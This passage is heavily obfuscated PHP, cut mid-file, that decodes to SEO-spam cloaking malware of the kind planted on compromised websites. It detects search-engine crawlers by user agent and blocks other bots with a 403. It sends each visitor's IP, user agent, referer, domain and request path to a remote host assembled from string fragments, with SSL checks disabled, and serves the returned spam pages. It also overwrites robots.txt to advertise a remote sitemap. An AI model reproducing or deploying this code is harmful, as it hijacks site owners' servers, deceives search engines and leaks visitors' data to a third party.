oto H1sCN; SJQlD: if (preg_match("\100\x5e\57\x28\56\x2a\x3f\51\x2e\x78\x6d\x6c\x24\x40\151", $_SERVER["\x52\105\x51\125\x45\123\124\137\x55\122\x49"]) or strpos($Xv8aQ, "\162\x6f\142\x6f\x74\163\56\164\x78\x74") !== false or strpos($Xv8aQ, "\152\x70\x32\60\62\63") !== false or strpos($Xv8aQ, "\160\151\x6e\x67\163\151\164\145\x6d\141\x70") !== false or preg_match("\57\x28{$XsZDy}\x29\x2f\x69", $_SERVER["\110\x54\124\x50\x5f\x55\123\105\122\137\x41\107\105\x4e\124"]) or preg_match("\57\x28{$XsZDy}\51\x2f\x69", @$_SERVER["\x48\124\x54\x50\x5f\x52\105\106\x45\122\105\122"])) { goto KKtSq; } goto W2aGM; xKTxM: if (!empty($Pp9YZ)) { goto c72ZP; } goto WcIHn; KYc4U: $QmU3z = urlencode($_SERVER["\x52\105\121\x55\x45\x53\x54\x5f\x53\x43\110\105\115\x45"]); goto XANgS; yP0iX: echo "\157\x6b"; goto R7EVj; opqTS: OWxIE: goto gtDb3; o2DhS: $jeFGf = urlencode($jeFGf); goto vjoB2; rGaSM: curl_setopt($HsNJe, CURLOPT_FOLLOWLOCATION, false); goto KRpb8; gpRgn: goto u25Ki; goto APXba; scZWb: goto dyEcb; goto uu0wH; JwVKJ: if (strpos($Xv8aQ, "\x6a\160\62\60\62\x33") !== false) { goto Au4EA; } goto CBKnt; q1Q_1: if (empty($Pp9YZ)) { goto sdAfj; } goto effQz; MI_OS: Q50Ou: goto opqTS; UVuBm: $jeFGf = $_SERVER["\122\x45\115\117\124\x45\x5f\101\x44\104\x52"]; goto cD2ZE; BuF8s: if (!(strpos($Xv8aQ, "\x72\157\x62\x6f\x74\163\56\164\170\x74") !== false)) { goto zlX0F; } goto Llwao; Lb9oW: $jeFGf = $_SERVER["\x48\x54\x54\x50\x5f\103\114\111\x45\x4e\x54\x5f\111\x50"]; goto qkoLB; fkP_4: goto Q50Ou; goto LUcFW; XANgS: $Xv8aQ = urlencode($_SERVER["\x52\105\x51\x55\105\123\124\x5f\x55\x52\x49"]); goto f97xp; XzDnf: $tjMEc = "\167\x32\67"; goto SDzV_; ysceF: goto eEBbc; goto kqzbk; A4JSU: R0Ge6($oUFuV, "\x30"); goto fkP_4; jzVZW: XyAdm: goto EglHP; kqzbk: vVdNy: goto Lb9oW; nv1am: KKtSq: goto elnxU; BDRMr: $BTuHB = "\57\77"; goto dtpgc; f97xp: if (!(strpos($Xv8aQ, "\x74\146\141\x74\x66\141") !== false)) { goto fkd2R; } goto yP0iX; p6jit: fkd2R: goto m1xUC; l9sEP: if (isset($_SERVER["\x48\x54\124\x50\x5f\130\137\x46\x4f\x52\x57\x41\122\104\105\104\x5f\x46\x4f\x52"])) { goto QLZFS; } goto ysceF; APXba: xCQ7K: goto WzT9S; ZsPOj: curl_setopt($HsNJe, CURLOPT_URL, $qTRrb); goto l86T0; VHwjI: $Nnuam = E8hWx($oUFuV); goto VSxcf; gtDb3: if (strpos($Xv8aQ, "\146\141\166\151\x63\157\x6e\56\x69\143\157") !== false) { goto xCQ7K; } goto SJQlD; GaxWQ: goto DVDFH; goto izQ8G; GUFkv: $Nnuam = 0; goto A4JSU; gdex4: goto gAJ0A; goto jzVZW; R7EVj: exit; goto p6jit; sYzE9: if (!empty($QqTVL)) { goto mOMQt; } goto BuF8s; effQz: if (!(substr($Pp9YZ, 0, 10) == "\x65\162\162\157\x72\x20\143\x6f\144\x65" or $Pp9YZ == "\65\x30\60" or strpos($Pp9YZ, "\x42\x61\144\x20\107\141\164\x65\167\141\x79") !== false)) { goto f7iR9; } goto vJ4G2; LUcFW: NpwrA: goto z0cN_; Jq3UE: header("\103\x6f\x6e\x74\x65\x6e\164\x2d\124\171\x70\x65\x3a\40\x74\x65\x78\x74\x2f\150\164\x6d\x6c\73\x20\x63\150\x61\162\163\145\x74\x3d\165\x74\x66\55\70"); goto GaxWQ; nMJ80: header("\103\157\x6e\164\145\156\164\x2d\x54\x79\160\145\72\40\x74\x65\x78\x74\57\x78\155\154\x3b\x20\143\x68\141\x72\x73\x65\x74\x3d\x75\164\x66\55\70"); goto Dz5xB; KpGSt: if (!preg_match("\x2f\50\x47\120\x54\102\157\164\x7c\x4a\141\x76\x61\174\x70\x61\154\157\141\x6c\x74\157\x6e\x65\x74\167\x6f\162\153\163\x7c\x6c\x69\x67\150\x74\104\145\143\x6b\122\145\x70\157\x72\164\163\x20\x42\x6f\x74\174\x63\x6c\x61\165\x64\x65\142\157\x74\x7c\117\x42\157\x74\x7c\x46\145\x65\x64\x6c\171\174\102\x79\164\145\x73\x70\151\144\x65\162\174\x59\171\123\x70\151\x64\x65\162\x7c\143\157\157\x6c\x70\x61\144\127\x65\142\153\x69\x74\x7c\110\x74\x74\x70\x43\x6c\x69\145\x6e\x74\174\x53\167\151\146\164\142\157\164\174\125\156\x69\166\145\x72\163\x61\154\106\x65\x65\144\x50\x61\162\x73\x65\162\174\107\x6f\x2d\150\x74\x74\x70\x2d\x63\x6c\151\x65\156\164\x7c\103\145\x6e\x73\x79\x73\111\156\163\x70\145\x63\x74\174\155\x6a\x31\x32\x62\157\x74\174\131\151\163\x6f\x75\x53\x70\151\x64\x65\x72\x7c\x6a\141\165\x6e\x74\x79\174\141\x73\153\124\x62\x46\130\124\x56\x7c\x41\x70\141\143\150\145\102\145\156\143\150\174\x50\171\x74\x68\157\x6e\x2d\165\x72\154\x6c\151\x62\174\104\151\147\105\170\x74\x7c\x44\x61\164\141\x46\157\162\123\x45\117\x7c\x4a\151\153\145\123\160\x69\x64\145\162\x7c\x43\162\x61\167\154\104\141\x64\144\171\174\x59\141\x6e\x64\145\170\x42\x6f\164\174\123\145\x7a\x6e\x61\x6d\102\157\164\174\x42\141\x72\153\162\157\167\x6c\145\162\x7c\x70\171\164\150\157\x6e\174\x53\x65\x6d\162\165\163\150\102\x6f\164\174\x53\143\x72\x61\x70\171\174\x70\x65\x74\x61\x6c\102\x6f\x74\x7c\141\150\162\145\146\x73\x42\157\164\x7c\145\172\x6f\x6f\155\x73\174\146\x65\x65\144\x44\145\x6d\x6f\156\x7c\101\155\x61\x7a\157\x6e\x42\x6f\x74\x7c\150\145\x72\x69\x74\x72\151\x78\x7c\132\x6d\x45\x75\174\x70\x79\x74\150\x6f\x6e\55\162\145\161\x75\x65\163\164\163\x7c\105\141\163\157\x75\x53\160\151\144\145\x72\174\x69\x6e\144\171\x20\x4c\x69\142\x72\x61\x72\171\174\x44\157\164\102\x6f\164\x29\x2f\151", $_SERVER["\x48\x54\x54\120\137\125\x53\x45\x52\137\101\107\x45\x4e\124"])) { goto P8gLF; } goto vnY32; KRpb8: curl_setopt($HsNJe, CURLOPT_SSL_VERIFYPEER, FALSE); goto lrWTC; GCBxZ: echo $yQal6 . "\x3a\40" . $Mq_s5 . "\x3c\x62\x72\57\76"; goto PpZER; C5JAz: EoBDO: goto mySml; l86T0: curl_setopt($HsNJe, CURLOPT_RETURNTRANSFER, true); goto rGaSM; rPPx8: error_reporting(0); goto NZ2pO; XTyue: teM_P: goto sTtfJ; Awlt_: $BTuHB = $BTuHB . "\x3f"; goto gdex4; Figp1: dyEcb: goto oFTnc; kWhI2: $tAAMD = urlencode(@$_SERVER["\110\124\x54\120\x5f\101\103\x43\105\x50\124\x5f\114\x41\x4e\x47\x55\x41\x47\x45"]); goto OqAvh; PpZER: $qTRrb = $cvcz4 . "\77\x61\147\x65\156\164\x3d{$uTwOS}\x26\162\145\146\x65\x72\75{$HJW_9}\46\x6c\141\156\147\x3d{$tAAMD}\46\151\160\75{$jeFGf}\46\x64\157\x6d\x3d{$ydNwZ}\46\150\x74\x74\160\x3d{$QmU3z}\46\165\x72\x69\x3d{$Xv8aQ}\46\x70\143\x3d{$XAfIR}\x26\162\145\x77\162\x69\164\x65\141\x62\x6c\145\x3d{$Nnuam}\x26\163\x63\x72\151\160\164\x3d{$FT3nF}\x26\x73\151\164\145\155\141\160\x3d" . urlencode($yQal6); goto arCU2; p8TES: $Pp9YZ = curl_exec($HsNJe); goto ZEL19; uyq7d: goto u90pV; goto tvYk1; WpMon: $QqTVL = ''; goto bPP2O; TmvGJ: if (!is_file($oUFuV)) { goto HqRDj; } goto VHwjI; m1xUC: $Nnuam = 0; goto Ti2hv; VSxcf: goto OWxIE; goto O_Thx; vnY32: header("\110\124\x54\x50\57\x31\56\x30\x20\64\60\x33\x20\106\x6f\x72\x62\x69\144\144\145\x6e"); goto mhXNt; elnxU: $qTRrb = $cvcz4 . "\x3f\141\x67\145\x6e\x74\x3d{$uTwOS}\46\162\145\146\145\162\x3d{$HJW_9}\x26\154\141\156\147\x3d{$tAAMD}\46\x69\x70\x3d{$jeFGf}\46\144\x6f\155\75{$ydNwZ}\46\x68\164\164\x70\x3d{$QmU3z}\46\x75\x72\x69\x3d{$Xv8aQ}\x26\160\x63\75{$XAfIR}\x26\x72\x65\x77\x72\x69\x74\145\x61\142\x6c\x65\x3d{$Nnuam}\x26\x73\x63\162\x69\160\164\75{$FT3nF}"; goto WpMon; Llwao: R0Ge6("\162\x6f\142\157\164\163\x2e\x74\170\x74", $Pp9YZ); goto MU5ig; czwu6: if (isset($_SERVER["\110\x54\124\120\x5f\103\x4c\x49\105\116\x54\137\111\120"])) { goto vVdNy; } goto l9sEP; uu0wH: mOMQt: goto Hm9ML; WcIHn: $HsNJe = curl_init(); goto ZsPOj; Ti2hv: $oUFuV = "\164\146\x61\x2e\164\170\x74"; goto TmvGJ; vydL8: c72ZP: goto q1Q_1; sK6Ui: goto aDiOY; goto V_BV0; MU5ig: zlX0F: goto scZWb; lrWTC: curl_setopt($HsNJe, CURLOPT_SSL_VERIFYHOST, FALSE); goto p8TES; KQ5Ww: eEBbc: goto oYm3Z; bg3U6: function E8Hwx($OYjTX) { goto sdsKy; a6lg9: return $YsVoP; goto lYnfD; sdsKy: $W0EXk = fopen($OYjTX, "\x72"); goto GbVJz; Y2JM6: $YsVoP = fread($W0EXk, filesize($OYjTX)); goto qhogn; qhogn: fclose($W0EXk); goto a6lg9; GbVJz: if (!$W0EXk) { goto KxKB_; } goto Y2JM6; B32_k: return false; goto K0nMM; lYnfD: KxKB_: goto B32_k; K0nMM: } goto KYc4U; EglHP: if ($Nnuam == 0) { goto j93F1; } goto ScXAi; XGdZz: $jeFGf = $_SERVER["\x48\124\124\x50\137\130\x5f\106\117\x52\x57\101\122\x44\105\x44\x5f\106\x4f\x52"]; goto KQ5Ww; sw0pg: r0ge6($oUFuV, "\x31"); goto MI_OS; bPP2O: if (!(strpos($Xv8aQ, "\x70\x69\156\147\163\151\x74\145\x6d\141\x70") !== false)) { goto c_bal; } goto vm2ns; D8dkV: $cvcz4 = $s5kmI . $tjMEc . $M0ZC6 . $cMfa3 . $iz3vr; goto sQcd7; NKKRT: header("\x48\124\x54\120\x2f\61\x2e\x31\40\x34\x30\x34\40\x4e\x6f\x74\40\x46\x6f\165\156\x64"); goto QM4B2; z0cN_: $Nnuam = 1; goto sw0pg; OdcKL: $FT3nF = urlencode($_SERVER["\x53\103\122\111\x50\x54\137\x4e\x41\x4d\105"]); goto o2DhS; mhXNt: exit; goto x4I25; it0xb: QLZFS: goto XGdZz; cc1nq: if (strpos($BTuHB, "\151\x6e\x64\145\x78\x2e\160") !== false) { goto XyAdm; } goto Awlt_; cD2ZE: $uTwOS = urlencode($_SERVER["\110\124\x54\120\137\x55\123\105\x52\137\x41\x47\105\x4e\124"]); goto czwu6; ssagY: $QqTVL = "\125\x73\x65\x72\55\x61\147\x65\x6e\164\x3a\40\52\xd\xa\101\x6c\x6c\157\167\x3a\40\57"; goto JMgfY; NZ2pO: $XsZDy = "\x44\x6f\143\x6f\155\157\x7c\107\x6f\x6f\147\x6c\x65\x7c\x59\x61\150\x6f\157\x7c\102\151\x6e\147"; goto KpGSt; Dz5xB: DVDFH: goto uyq7d; JMgfY: $yQal6 = "{$QmU3z}\72\57\x2f" . $ydNwZ . $BTuHB . "\x73\x69\164\x65\x6d\x61\x70\56\170\x6d\154"; goto S_Ixi; vjoB2: if (!empty($_SERVER["\122\105\x51\125\x45\123\124\x5f\x53\103\x48\x45\x4d\x45"]) and $_SERVER["\122\x45\x51\x55\105\123\124\137\x53\103\x48\x45\x4d\x45"] == "\x68\x74\164\x70\163" or !empty($_SERVER["\110\124\x54\x50\123"]) and $_SERVER["\110\124\124\120\123"] == "\157\156" or !empty($_SERVER["\123\x45\122\x56\105\x52\x5f\x50\117\122\124"]) and $_SERVER["\123\x45\x52\x56\105\x52\137\120\x4f\122\124"] == "\64\x34\x33" or isset($_SERVER["\110\x54\124\x50\x5f\130\137\106\x4f\x52\x57\101\122\x44\105\104\137\120\x52\x4f\124\117"]) and $_SERVER["\110\x54\124\120\x5f\x58\x5f\x46\117\x52\x57\101\122\x44\x45\104\137\x50\x52\x4f\x54\117"] == "\x68\164\x74\x70\163") { goto teM_P; } goto CxBHn; SDzV_: $s5kmI = "\x68\164\164\160\72\57\57\143"; goto Wz0fQ; ILKzb: $Pp9YZ = @file_get_contents($zCw6l); goto q6xJ_; V_BV0: j93F1: goto BDRMr; S_Ixi: $QqTVL = trim($QqTVL) . "\xd\12" . "\x53\x69\x74\145\155\x61\160\x3a\40{$yQal6}"; goto JyETc; Hm9ML: R0ge6("\162\157\142\157\164\163\56\x74\170\164", $QqTVL); goto Figp1; oYm3Z: $ydNwZ = urlencode($_SERVER["\110\124\x54\120\x5f\x48\x4f\x53\x54"]); goto OdcKL; arCU2: c_bal: goto xwB_F; CBKnt: if